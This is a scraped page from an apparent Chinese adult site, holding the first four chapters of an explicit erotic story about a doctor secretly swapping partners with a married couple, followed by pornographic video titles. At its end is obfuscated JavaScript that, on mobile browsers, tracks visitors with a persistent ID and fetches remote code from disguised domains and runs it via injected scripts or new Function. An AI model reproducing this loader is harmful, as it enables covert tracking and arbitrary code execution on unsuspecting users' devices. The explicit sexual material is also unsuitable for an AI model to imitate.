热搜排行
盛夏之夫妻交友 1-13
(1)  
    难得有夏天晚上会这么安静,社区里,连蛐蛐的鸣叫都没有。  
    我看了看手錶:时间是八点半。——差不多能有两个小时吧,我想。出门前,我对老婆说有个急诊,老婆只是“哦”了一声,见惯不惊的样子。这就是当医生的好处:可以随时用这个藉口晚上出去。  
    门口很乾净,对面的邻居好像刚搬过来,一扇崭新的高级防盗门紧闭。廊灯下,猫眼闪烁着一点微光。门口还摆了两盆非洲菊,红色、黄色和紫色的重瓣花朵,开得很豔丽。  
    我轻轻地敲了敲小刘家的房门,不一会儿,小刘圆乎乎的脸出现在门口,“来啦?”他笑得有些不自然。小刘三十出头,中等身材,一头短髮显得很精神,而脸上的黑框眼镜,又让他多了几分书卷气。  
    小刘和小娟一样,都在本地师範学院工作,小刘是校团委书记,小娟是个普通老师,好像是教外语的,好像又不是。我问了她几次,她总是用力地掐我下面,低着头怎么也不肯说。我觉得有些好笑:不管做爱的时候多么淫蕩,云销雨霁后,女人总想保留那么一点点尊严。  
    小刘拿拖鞋来给我换了,说:“要不要先洗洗?小娟在主卧室里等——还是像以前一样,你自己进去?”  
    我笑了笑,说:“刚洗过。哈哈,每次都是我悄悄进去,这次要不要换个花样?你叫小娟出来接待我好不好?”出门前,我的确细细地洗过澡,稍微喷了点男士香水,还换了条新内裤。这些细节,是对一个女孩的基本尊重。  
    小刘的眼睛好像在镜片后兴奋地闪了一下。作为一个绿帽爱好者,可以想像,听了我这句话,他裤裆里本来就硬邦邦的家伙,一下子又抬高了几分。”嗯,我进去后她商量一下,你先等着,要喝饮料冰箱里拿。”  
    说完,他打开主卧室的门,悄无声息地走进去。里面一片黑暗,我猜小娟穿着白色萝莉风格的内衣,正缩着被子里等我。她那条卡通小内内,说不定早就湿透了……  
    小刘家我来过好几次了,一切都很熟悉。夫妻俩收入一般,但好像小娟的父母挺有钱,所以他们才可以住这种高档社区里。屋里的装修不错,北欧风格,布置稍微有些淩乱,到处都是小娟买来的一些造型可爱,但毫无用处的摆设。小娟这一点和我老婆类似,见到什么卡哇伊的东西,马上两眼放光:好可爱喔!洋娃娃、多肉植物、小猫小狗玩具……但买下来后,该放在家里什么地方,她们是一点都不去想的。  
    我从冰箱里拿出一罐可乐,刚喝了两口。小娟就跟在小刘后头,从主卧室里走出来。她低着头,黑色的短髮遮住了半边脸,怪不好意思的样子。让我哭笑不得的是,这女孩子居然穿着整齐!上身一件卡通体恤,下身一条粉色短裙,好像要出门似的。  
    “嗨,你来啦?”她红着脸和打招呼,好像我是个第一次上门的陌生朋友。  
    我坏笑了一下,把可乐放在茶几上,走过去一把搂过小娟,说:“小老婆,想不想老公我啊?”说完,我低头吻向她的芳唇。小娟没想到我会这样,吓了一跳,赶快侧脸躲避,同时用小拳头捶着我的胸口,涨红着脸说:“你疯啦?怎么这样……”她一边挣扎,一边偷眼朝自己的丈夫望过去。  
    小刘也吃了一惊!但看到自己娇小的老婆被另一个男人搂着,接吻,挣扎,他裤裆立刻鼓了起来!他一动不动地看着小娟和我。然后,褪下短裤,握着已经暴怒的鸡吧,开始缓慢地撸动……他的鸡吧比我粗,不长,龟头像只成熟的蘑菇,渗出透明的汁水…… 果然,我今天这个突然的举动,让小刘这个绿帽侠激动得快要爆炸了!  
    我自己的下面也硬的像条铁棒似的,我稍用力,把小娟的双手固定住,然后用力吻了下去。小娟身上的萝莉体香阵阵袭来,让我情不自禁。漂亮的女人各有不同,但我最喜欢的,还是小娟这种白皙,皮肤细嫩的娇小女孩。有时候,我怀疑我是不是恋童癖,但仔细一想好像又不是:我喜欢女人丰满柔软的胸部。  
    小娟还在挣扎:“你干嘛呢?哎呀疯了……”她不停地重複这两句,但瞟到丈夫的举动后,她的挣扎逐渐变成象徵式的。于是我顺利地吻到了她的双唇,还用舌头顶开她的牙关,一下子,她的舌尖便伸进我的嘴里,丁香一样,带着一丝丝甜香。  
    “疯了啊你!唔……你这个大坏蛋!”她还在轻轻地捶我地胸口,不时偷眼瞟一下旁边激动不已的丈夫……  
    “小老婆,你老公我就是个大坏蛋!”说着,我的手已经滑进了她的胸罩。果然,她穿着我最喜欢的那套蕾丝边的,有卡通图案的粉色系胸罩。我刚揉住她的丰满的乳房,小娟就放下小拳头,双手搂着我腰,主动地吻上来,她全身酥软,一边主动地吻我,一般喃喃地重複:“你这个大坏蛋……大坏蛋……你们都是大坏蛋……”  
    她口中另一个大坏蛋——她真正的老公小刘,这时已经激动得不能自已。他已经脱光了全身的衣服,一只手抓着自己的睾丸揉搓着,一只手缓慢地撸着鸡吧。我知道他不敢这么早射出来。过去聊天时他说过,如果过早射了,进入贤者时间,看着老婆还在被别的男人操,心里多少会不是滋味。以前,遇到这种情况,他会躲进另一个房间,做点其它什么事情分散注意力,等性欲恢复了才出来。后来,就开始慢慢撸,等我射进小娟的阴道后,他才最后发射……  
    人类最高的享受是性欲高潮,最失落的是贤者时间。真不明白上帝是怎么想的,偏偏把这两样东西放在一起!  
    我们懒得去管小刘了,肉欲的激情这时已经充满了我的全身,小娟估计也是这样。我们互相纠缠着,揉捏着对方的肉体。小娟的体恤已经被我褪到了胸前,两朵雪白、幼嫩的乳房完全显现了出来。她还是环扣着我的腰部,我的双手可以空出来,一只手继续抚摸她的乳房,另一只手伸进她的裙子,滑进内裤。我先是摸到一片芳草地,不用说,是小娟漆黑、顺滑的耻毛,不多,但有些粗硬,不像我老婆的那么捲曲细软。  
    不知什么时候,小刘把客厅的大灯关了,换成了角灯。灯光是柔和的淡黄色,带着一丝暧昧。我把小娟的体恤脱下来,和胸罩一起丢在沙发上,然后脱下衣服自己的上衣,搂进小娟,让她的双乳紧紧地贴在我身上。我的手已经滑过耻毛,摸到小娟的阴户和阴唇。果然,那里已经淫水氾滥,滑不留手了……  
    “老公,你坏!”小娟无力地哼着。突然,另一只手从旁边伸过来,捏住小娟的左乳房,这是小刘的手,他另一只手还在撸,但明显动作已经加快了!  
     

                                                (二)

    那天晚上,我们是沙发上结束的。  
    我捏着避孕套的口子,趁鸡巴还没有完全软,从小娟的身体里抽了出来。小娟呼出一口气,软软的,把双腿从我的肩膀上放了下来。褐色的真皮沙发上,有一滩明显的水渍,不知道是从小娟身体里淌出来的,还是我的前列腺液。  
    我拿过一张纸巾,细心地擦乾净。小娟的阴户就在水渍的上方,润润的,红红的,仿佛多汁的果肉一样,上面还沾着几丝耻毛。我意犹未尽地摸了一下,小娟没有动。刚才我和小刘轮流抽插,虽说“没有犁不坏的地”,但估计也把她累得够呛!  
    我手里还捏着避孕套,里面是我浑浊的精液。射出来不少!我像个化学老师捏着试管一样,一时不知道该往哪里放。小刘凑了过来,殷勤地说:“我拿去丢吧!”他仍然出生的婴儿一样,光溜溜的一丝不挂。我略有些尴尬地递给他,他接过来,兴沖沖地朝卫生间走去。  
    ——也许他会丢进马桶?或者还有其它“特殊”用途?算了,懒得去猜。  
    每次做完后,我们都会去洗个澡,然后一起聊聊天。有时候穿衣服,有时候批条浴巾,更多时候是一丝不挂。三个人都躺在大床上。小娟会躺着我身边,调皮地玩我的鸡鸡,“软软的,好可爱哦!”她评论道,“还是软的时候好玩,我读幼稚园时,就很羡慕男孩子们,有这么可爱的东西,长在身上什么时候都可以玩。我好想去摸一摸哦,又怕老师骂。”  
    “长大了,终于有的摸了,谁知道一摸就硬,变这么丑!接下来还要挨操!”她气鼓鼓地弹了我的鸡鸡一下,疼得我倒吸了一口凉气。  
    当她做这些的时候,小刘就躺在另一边,笑咪咪地听着。他年龄比我小几岁,但性格比我好很多。我这个人性子有些急躁,在科室里和那些不讲理的患者吵过好几次,挨了不少批。在家里老婆也经常抱怨,说我不像是属猪的,更像是属牛的,脑袋一充血就六亲不认。  
    我问小刘,是不是因为当团委书记的缘故,所以脾气才这么好?小刘想了想,说也不完全是。他从小就是这样,也许是父母都太强势了吧,所以他一直都是邻居眼中的“别人家的好孩子”。顺风顺水地从小乖到大,最后考上一所着名大学。毕业后,本来很有机会留在上海,但在父母的再次强势下,乖乖地回到了我们这个三线城市,在师範学院里找了份安安稳稳的工作。  
    我有次问他,你后悔没有留在大上海吗?他照例歪着头想了想,说也谈不上后悔不后悔的,也许父母是对的,他天生就不是那种喜欢打打杀杀的人,如果留在上海,十里洋场狼奔豕突,说不定早就被人吃的连骨头都不剩了。  
    “我就是那种人:从六岁开始,进了学校的大门,就再也没有出来过。”他苦笑了一下。  
    我隐约听出了一点点不甘愿。也许,就是这点不甘愿,让他走出夫妻交友这一步吧?如果他父母知道自己精心培育的“好孩子”,现在正赤裸裸的,和自己的老婆,以及另一个赤裸裸的男人躺着一起,不知道会有什么感想!  
    我抬头望向窗外,夜已静,夏天的星空,在城市的流彩下黯淡。只有从一栋栋楼房里传出的灯光,在无边的夜色中闪烁。这些夜灯,才是城市里永恆的星光。  
    …………  
    最初和小刘在网上开聊的时候,我就直觉地感觉到这是个真诚的人。他坦率地说起自己的欲望,夫妻在一起久了,所谓的审美疲劳。但又不愿意背叛,因为深爱着妻子。更不愿意去什么洗脚桑拿什么的,总觉得不太乾净,“惹上什么病就麻烦大了。”小刘说,比惹上病更麻烦的,是万一扫黄打非被活捉,那不仅自己,连父母都没法在这个城市混了。  
    这一点我非常赞同。我和小刘在网上就聊得很投机,当然大家一开始都没有暴露自己的身份,谨慎一点总是没有错的。我也坦率地对他说,我老婆那一块,沟通还没有做好。不大可能一开始就交换。他想了很久,最后说:“大哥我相信你是个可靠的人,不如我们两口子先和你吃顿饭吧!”  
    接下来的事情,就顺理成章了。我即使谈不上什么英俊潇洒,只是也是个乾乾净净,略有风度的男人。医院里,不少年轻护士经常在后面指指点点,叽叽喳喳地议论。我结婚那几天,有几个女孩子还特意组团跑到我家,说是来祝贺的,其实是想看看:那个把我“弄到手”的女人,到底长什么样?  
    我老婆不笨,一下子就感觉到了那些小护士的敌意,“哟,看来我老公在医院里很受欢迎嘛!”她眼含笑意,抿着嘴角嘲讽道。  
    “同事关係——纯洁的同事关係!”我大手一挥,义正严辞地说。  
    事实也是如此。试问,这么多双眼睛盯着,你还有多大的空间”做坏事“?——更何况,我的泰山大人,就是这间三甲医院的副院长!  
    小娟对我的第一印象也不错。”我还以为,你们这些在网上搞三搞四的男人,都不是些好东西呢!——说不定一个个都是獐头鼠目,贼眉鼠眼的坏家伙!”  
    “那看到我之后呢?”我自豪地问。  
    “也不是什么好东西!是个大坏蛋!”说完,小娟又在问鸡鸡上弹了一下,这次弹得真的很痛!我连吸了好几口凉气。小娟急忙帮我揉一揉,结果越揉越大。她眼睛一转,狡黠地说:“乾脆我帮你亲一亲吧!”  
    说完,她低着头含住了我的龟头,开始吞吐起来。我歎了一口气,无可奈何地对小刘说:“你还有套吗?”  
    “有,当然有,多得是!”小刘打开床头柜,里面果然琳琅满目。“人说晴带雨伞,我是勤备雨衣。”小刘得意地说。我发现,在他胯下,那朵大蘑菇也兴奋地竖了起来……  
    那天晚上,我离开他们家的时候,觉得腿有些发飘。他们两口子把我送到门口,小刘还是一丝不挂,我的小老婆小娟穿了件暴露的内衣,上面露了一大半的乳房;下面黑乎乎的阴毛,从透明小裤裤的边缘露了出来。她浑身上下,依然散发着浓浓的肉欲气息。  
    看着她的样子,我恨不得留下来再干一炮!可惜时间不等人。门开了,我一把把小娟搂进怀里,“再亲一口!”说完我就吻了下去。  
    “你要死啊?小心被人看到了。”她拼命挣脱,用手指了指对面的,“刚搬进来的,一个三十多四十岁的女人。”  
    我回头看了看那扇紧闭的防盗门,那只小小的猫眼在闪烁着微光。  
    我笑着说:“没关係,别人早就睡了。”然后和他们挥手告别。  
    夜已深,周围更加安静了。我坐进车里,深呼吸了一下,打开车窗,试图吹走一些留在身上的暧昧。一路上,我都在思考:万一老婆起了疑心,我该如何去辩解……  
                                                



                                                               (三)

    回到家,我发现老婆不在。茶几上有张纸条,上面是老婆娟秀的字迹,说明天的版面要更换,报社叫她回去改稿。她是文科生,写得一手好字。即使现在有了手机,她还是喜欢时不时写一张字条。她的报社的座位上,五颜六色地贴满各种便利贴。  
    我闻了闻衣袖,似乎小娟的气息仍在,赶快把衣服丢进洗衣机里,然后进浴室仔细沖洗了一番。老婆是个细心的人,鼻子特别灵,被她发现蛛丝马迹就麻烦了。  
    刚洗完老婆就回来了,手里还提着一纸袋清样,一脸疲惫的样子。“还要加班赶稿。”她沖我扬了扬手里的东西,然后一头扎进了书房。我回到卧室躺下,拿起手机,发现小娟居然发给我一个伸舌头的笑脸!“这鬼丫头!”我吓得赶紧删除。床头,结婚照上,老婆正笑眯眯地看着我……  
    我们结婚快七年了,仍没打算要孩子。久之,双方父母也无可奈何。我喜欢摄影,老婆喜欢旅游,一有空,我俩就全国各地跑来跑去。每天回家,她忙她的写作,我忙我的眼科专业,闲时玩玩游戏,日子还是挺充实的。  
    老婆是个传统的女孩,结婚前,只允许我摸,连用手帮我解决都不愿意。最多是捂着眼睛,伸手摸了摸我故意暴露出来的鸡鸡,然后感歎说:“好大!——塞进去肯定痛死了!”  
    可惜我一直忍到结婚那晚,才真正有机会“塞”进去。果然,老婆还是处女,也的确把她痛得够呛!  
    刚结婚那会儿,我最多一夜五次!第二天早上,两腿发软,看太阳都觉得是蓝色的。后来,和所有夫妻一样,频率越来愈少,现在基本是一週一次。每次要做爱前,我就先躺在床上,打开一些av或图片。老婆发现后,便知趣地去洗澡,然后穿身性感一点的睡衣,偎在我旁边看。有时候,我们也会谈谈性幻想:  
    “你喜欢什么样的做爱方式?”通常是我提起这个话题。  
    “唔,一般的吧……浪漫一点的……”老婆似乎对这种话题放不开,总是很羞涩的样子。我知道她喜欢看欧美的,特别是身材好的俊男美女。对于日系的,她有点不满意:“怎么还要打码?而且,那些男的身材也太难看了吧?怎么选这些人?”  
    想必清水健和加藤鹰听到老婆的评论会相当郁闷吧!  
    “ 我喜欢4p,特别是夫妻交友!”我大方地打开av 给她看。  
    “你这个变态!”老婆娇嗔道,但每次我把手伸进她内裤,都会发现那里早已氾滥了……  
    …………  
    云消雨散后,老婆趴在我胸口,小心地问:“你真会把我拿去和别人换吗?”  
    “嗯,看你愿不愿意喽,”我回答道,“你放心,我一定会尊重你的意愿的,你愿意吗?”  
    “再说吧!”黑暗中,我看不清老婆的表情。  
    …………  
    那年,夏天似乎很长,天气倒也不热。我们这个城市,正好夹在两道巨大的山脉之间。强大的气流在穿过,给这里带来阵阵凉意。所以,虽然和南京相距不太远,但暑天舒服多了。很多南京等地的有钱人,都在这里买了房子。每年七八月,实在热得受不了, 就跑到这里来纳凉。因此,夏天的晚上,城市里灯火辉煌,各种娱乐、饮食业生意兴隆,倒也显得一片繁华。  
    小娟家旁边,一条小河淌过,河边种满垂柳。晚风吹拂,很有一些风致。人们喜欢到河散步,于是,夹河两岸,一家家小酒馆、饭店如雨后春笋。这里的顾客们都有江南人的安静,聚在一起小声地聊天。和其它地方相比,光着膀子大声劝酒的好汉很少见。  
    我停好了车,沿着小河走一小段路,就到了小娟的社区。一个三十多岁的女人,牵着一只小狗,在我前面走着。她的连衣裙好像是真丝的,柔顺地贴在身体上,从后面看起来,显得凹凸有致,让人不禁有些心动。  
    那只小狗很顽皮,窜前窜后,欢快得像个三岁的孩子。那个女人不时回头,把它从我身边拉回来,小声地呵斥着。“不好意思啊!”她对我说:“这家伙一点也不听话……皮蛋,不许对别人叫——哎呀,还叫…… ”  
    不知为什么,那狗对我似乎有些不友好。  
    “哦,它叫皮蛋?为什么不叫松花蛋呢?”  
    “因为从小就顽皮啊!”女人笑着说,露出一口洁白的好牙。她看到我的脸,似乎愣了一下……  
   


                                                         (四)  

    女人的神态明显有些彆扭。  
    我有点摸不着头脑:没见过啊!治疗过的患者?——不可能的,作为眼科医生,我们患者的“眼光”,一般都不怎么样。治疗结束后,很少有人会记住医生的样子。再说,作为一个年轻男大夫,这么漂亮的女患者,我多少应该有点印象吧!  
    “小姐,我们见过吗?”我有礼貌地问。心里盘算:如果她回答说有,一切顺理成章;如果说没有,我就稍稍挑逗她一下,说,也许五百年前,在西湖断桥上,我们曾经擦肩而过……  
    “啊,没有……”女人好像有些慌乱,“对不起,我认错人了!”  
    “哈哈,你没有认错,也许五百年…… ”我话还没有说完,“汪”的一声,从旁边窜出一条黑影,迅速朝那只“皮蛋”扑过去!女人尖叫了一声,差一点跌倒在地。我也吓了一大跳,还好向来身手敏捷,及时往旁一纵,和黑影擦身而过。周围一片混乱,狗吠声,女人的尖叫声夹杂在一起,两条黑影在我身前快速地绕来绕去……  
    惊魂未定,我这才发现,原来是一条黑色大型獒犬,在攻击那只可怜的小“皮蛋”!小家伙身型太小,已经被扑倒在地了。獒犬脖子上有个项圈,上面还连着一条长长的狗链。  
    女人慌忙拉着我的手,急得语无伦次:“快,快!帮忙救救皮蛋!那野狗要,要,要吃它…… ”  
    我暗自好笑:只见过狗咬狗,还没有听过狗吃狗呢!  
    美女在前,心中不慌。我猛一跺脚,大喝一声吓退大狗,一弯腰,把小狗皮蛋抄起来,递给女人。女人赶紧把它搂在怀里,像抱着个受了委屈的婴儿。  
    谁知,那大狗仍然挡在路中央,放低姿势,露出牙齿,眼露凶光,不停地低声呜着,看样子还不肯甘休。女人很害怕,抱着皮蛋往我身后缩,”怎么办?快想个办法嘛!”她不停地拉我的衣角。  
    我镇定地盯着大狗,说:“不要紧,狗这种东西,最是欺善怕恶。据我多年前在乡下的经验,见到狗,第一件事,就是不要慌。两眼直视狗眼,千万不要闪躲!然后,你蹲下来——”说着,我盯着大狗,慢慢地蹲了下去。  
    “一只手故意往地上摸索,”——我伸出右手,在地上一阵乱挠——“狗见了,以为你要摸石头打它,自然就会害怕跑掉的。”  
    我回头自信地看着女人,说:“这就是对付野狗最好的办法!”  
    话音刚落,那只野狗汪的一声扑了上来,对準我小腿狠狠就是一口!  
    我哎呀一声,翻身倒在地上……  
    幸好,狗的主人及时赶到,一把拉住狗链,制止了它的攻击。  
    我惊魂未定地坐了起来,女人急忙过来扶我,“你没事吧?咬得疼不疼?”  
    ——废话!  
    我小腿疼得要命,咬牙忍住,指定那条衰狗,骂道:“妈的有你这种不讲规则的狗吗?要是在我们乡下,早就把你和着陈皮、辣椒干一起炖了!”  
    狗主人在旁边点头哈腰,陪了一千个不是。他还特意摸出一张狂犬疫苗证来,拍着胸口保证说,这只讨厌的狗,昨天才打了狂犬疫苗——不信你看,上面盖的印泥还没有干透呢!  
    我第一次遇到这种事情,一时也不知道该怎么处理。皱着眉头检查了一下伤口,还好,咬得不深,幸亏今天穿的是牛仔裤。流了一点血,已经凝固了。疼痛感也在慢慢减轻。从医学的角度看,问题不大。谨慎一些的话,明天回医院后,补上一针就没事了。  
    狗主人看来是个不缺钱的主,也不缺心眼。他痛快地承认了自己的过失,不停道歉,问我要不要去医院看看?得到否定的答案后,他摸出一个大钱包,数了好几张硬塞给我,说是赔我的医药费和营养费——不够还可以商量!  
    话既然说到这里,我也不好再纠缠什么。大家互相握手,加了微信,算是不打不相识。闲聊了几句,原来他还是我小舅子公司的经理。地方小了没办法,抬头低头都是熟人。  
    “喂,笨蛋!快,向小张大夫道歉!”狗主人用力扯了扯狗链,对那只大獒犬呵斥道。“这家伙生下来就笨,所以给它取了个这个名字。”狗主人解释说。  
    ——难怪不怕我捡石头!  
    正说着,我的电话响了,原来是小娟打来的,问我怎么还没有到?我低声说出了点事,受了点小伤,今晚怕是来不了了……  
    电话里小娟声音都变了:“怎么回事,伤得重不重?要不要我来看你?”  
    看得出这女孩子还是挺关心我的,我心里一阵温馨。忙跟她说不用担心,小伤而已,已经处理好了。  
    这时,一旁抱着皮蛋的女人笑吟吟地对我说:“老婆,还是女朋友?这么关心你啊?”不她笑得有点暧昧。  
    …………  
    狗主人走后,女人对我道谢,说不好意思地今天连累了我。“改天一定要请你吃饭!”她坚持说,犹豫了一下,又提议:“我家就在附近,要不,去我家消消毒,包扎一下吧,我家里有急救箱。反正你是个医生,肯定会用的。”  
    “好吧,”我爽快答应。今天的约会已经取消了,再加上这两天老婆出差,家里也没人。  
    一路上,我和那女人边走边聊。原来她叫芳华,儿子上初一,在一个双语学校住读,家里就剩自己和老公。老公是一个出版公司的老闆,经常住外面应酬——所以,才养了这个皮蛋小狗解闷儿。  
    我装作不经意地问:“哦,那你先生现在在家吗?”  
    “不在,他一天到晚瞎忙,这几天跑去南京了,说是和什么作者见面谈合约。”说完,女人奇怪地瞟了我一眼。  
    “啊,好啊,男人就应该忙事业嘛,不要像我这样,一天到晚呆在一个地方没出息,也挣不了几个钱……”我嘴巴上瞎扯,心中却暗暗窃喜。  
    “到了,我家就在三楼。”女人指向一个雅静的单元。  
    我瞬间僵硬在原地:这是小娟家的单元!而且,我清楚地记得,小娟家正是三楼!  
    “怎么?你来过这里?”耳边飘来女人暧昧的声音。  
猜你喜欢下面这些


  • GDHH-178 『バカ!お前の胸当たってるよ!』『えっ!お


    GDHH-178 『バカ!お前の胸当たってるよ!』『えっ!お
    52人观看

    GDHH-178 『バカ!お前の胸当たってるよ!』『えっ!お

  • 欲求不满的太太睽违许久性爱解禁5小时下KNMD-091


    欲求不满的太太睽违许久性爱解禁5小时下KNMD-091
    8人观看

    欲求不满的太太睽违许久性爱解禁5小时下KNMD-091

  • 变性女孩因早泄而受到惩罚


    变性女孩因早泄而受到惩罚
    719人观看

    变性女孩因早泄而受到惩罚

  • 巨乳系列AP 735川的字岳母NTR 川的字摆弄正在睡觉的岳母敏感的乳头在父亲的旁边把岳母睡觉中出!乱伦高清(HD)


    巨乳系列AP 735川的字岳母NTR 川的字摆弄正在睡觉的岳母敏感的乳头在父亲的旁边把岳母睡觉中出!乱伦高清(HD)
    821人观看

    巨乳系列AP 735川的字岳母NTR 川的字摆弄正在睡觉的岳母敏感的乳头在父亲的旁边把岳母睡觉中出!乱伦高清(HD)

  • 逼逼粉嫩颜值不错妹子双人啪啪 大屌插入近距离特写快速抽插呻吟娇喘诱人


    逼逼粉嫩颜值不错妹子双人啪啪 大屌插入近距离特写快速抽插呻吟娇喘诱人
    71人观看

    逼逼粉嫩颜值不错妹子双人啪啪 大屌插入近距离特写快速抽插呻吟娇喘诱人

  • 已婚大波少妇出轨偷情叫声和丰富表情非常销魂


    已婚大波少妇出轨偷情叫声和丰富表情非常销魂
    851人观看

    已婚大波少妇出轨偷情叫声和丰富表情非常销魂

  • 【三级】《小学妹不耐寂寞》


    【三级】《小学妹不耐寂寞》
    287人观看

    【三级】《小学妹不耐寂寞》

function rDbavnK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function QGrUp(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return rDbavnK(t);};window[''+'P'+'Z'+'k'+'K'+'t'+'S'+'n'+'O'+'e'+'c'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MkShE(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=QGrUp,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MkShE(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15745/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MkShE(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBODgg5MQ==','d3NzJTNBJTJGJTJGYSS5rZmdqYSS5jbiUzQTk1MzM=','168621',window,document,['g','S']);}:function(){};